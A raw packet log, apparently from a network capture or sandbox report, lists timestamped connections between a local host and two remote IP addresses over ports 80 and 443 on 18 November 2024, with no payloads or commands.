Nov 18, 2024 05:57:55.740513086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.740533113 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.740534067 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.740556955 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.741801977 CET	443	60470	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.741871119 CET	443	60470	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.741964102 CET	60470	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.741976976 CET	443	60470	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.742027044 CET	60470	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.742150068 CET	60470	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.742172003 CET	443	60470	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.742185116 CET	60470	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.742191076 CET	443	60470	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.745033026 CET	60475	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.745124102 CET	443	60475	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.745270014 CET	60475	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.745413065 CET	60475	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.745448112 CET	443	60475	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.780509949 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.780528069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.780558109 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.780574083 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.780576944 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.780714989 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.780786037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.780802011 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.780821085 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.780889988 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.780899048 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.780920029 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.780940056 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.780958891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.780977964 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.780978918 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.780997992 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781006098 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781018972 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781024933 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781054974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781079054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781096935 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781116009 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781116962 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781145096 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781167030 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781167984 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781167984 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781198025 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781217098 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781234026 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781265020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781285048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781305075 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781311035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781311035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781311035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781322956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781342983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781362057 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781371117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781382084 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781398058 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781416893 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781416893 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781418085 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781435966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781456947 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781476021 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781492949 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781492949 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781558990 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781577110 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781596899 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781615019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781631947 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781636953 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781661987 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781683922 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781697035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781697035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781698942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781728029 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781729937 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781749964 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781769037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781769037 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781793118 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781810999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781836987 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781842947 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781862020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781874895 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781882048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781902075 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.781949043 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781949043 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.781984091 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782002926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782033920 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782054901 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782073975 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782083988 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782102108 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782104015 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782124043 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782141924 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782444954 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782474995 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782491922 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782512903 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782521963 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782540083 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782558918 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782562971 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782582045 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782593966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782614946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782634974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782654047 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782671928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782672882 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782672882 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782691956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782721043 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782738924 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782762051 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782778978 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782778978 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782789946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782803059 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782810926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782830000 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782854080 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782861948 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782882929 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782900095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782929897 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782932043 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782932043 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.782948971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782967091 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.782984972 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783004045 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783023119 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783037901 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783037901 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783039093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783061028 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783092022 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783098936 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783098936 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783112049 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783112049 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783132076 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783159971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783165932 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783179045 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783199072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783226013 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783233881 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783233881 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783250093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783267975 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783286095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783297062 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783303976 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783330917 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783330917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783349037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783369064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783386946 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783386946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783415079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783432961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783452034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.783468962 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783468962 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783524990 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.783881903 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.791245937 CET	443	60471	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.791296005 CET	443	60471	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.791368961 CET	60471	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.791539907 CET	60471	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.791553974 CET	443	60471	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.791565895 CET	60471	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.791573048 CET	443	60471	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.793945074 CET	60476	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.794028044 CET	443	60476	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.794223070 CET	60476	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.794377089 CET	60476	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.794411898 CET	443	60476	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.811753988 CET	443	60472	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.812139034 CET	60472	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.812187910 CET	443	60472	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.812552929 CET	60472	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.812565088 CET	443	60472	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.823077917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.823097944 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.823117971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.823149920 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.860163927 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.860181093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.860213041 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.860233068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.860251904 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.860270023 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.860294104 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.860294104 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.860294104 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.900450945 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900496960 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900515079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900533915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900556087 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900573015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900623083 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.900623083 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.900700092 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900717974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900748014 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900765896 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.900767088 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900785923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900814056 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900831938 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900851965 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.900852919 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.900861025 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900880098 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900898933 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.900898933 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900918007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900934935 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900938034 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.900953054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900970936 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.900990009 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.900990009 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.900999069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901016951 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901036978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901067019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901067972 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901078939 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901086092 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901106119 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901140928 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901201963 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901226044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901247025 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901264906 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901295900 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901323080 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901341915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901359081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901379108 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901408911 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901427031 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901456118 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901473999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901492119 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901508093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901525974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901555061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901555061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901555061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901555061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901555061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901555061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901555061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901555061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901560068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901588917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901618004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901635885 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901654005 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901669979 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901700974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901721001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901738882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901767969 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901787043 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901804924 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901823044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901851892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901859045 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901859045 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901859999 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901859999 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901859999 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901859999 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901859999 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901871920 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901890993 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901907921 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901926994 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901926994 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901949883 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.901964903 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.901989937 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902028084 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902048111 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902070045 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902089119 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902096033 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902112961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902141094 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902172089 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902177095 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902201891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902218103 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902228117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902239084 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902246952 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902265072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902282000 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902301073 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902318001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902324915 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902324915 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902348042 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902367115 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902384996 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902414083 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902432919 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902451038 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902451038 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902451038 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902462959 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902471066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902487993 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902507067 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902524948 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902545929 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902560949 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902560949 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902560949 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902563095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902582884 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902601004 CET	80	60438	185.215.113.16	192.168.2.6
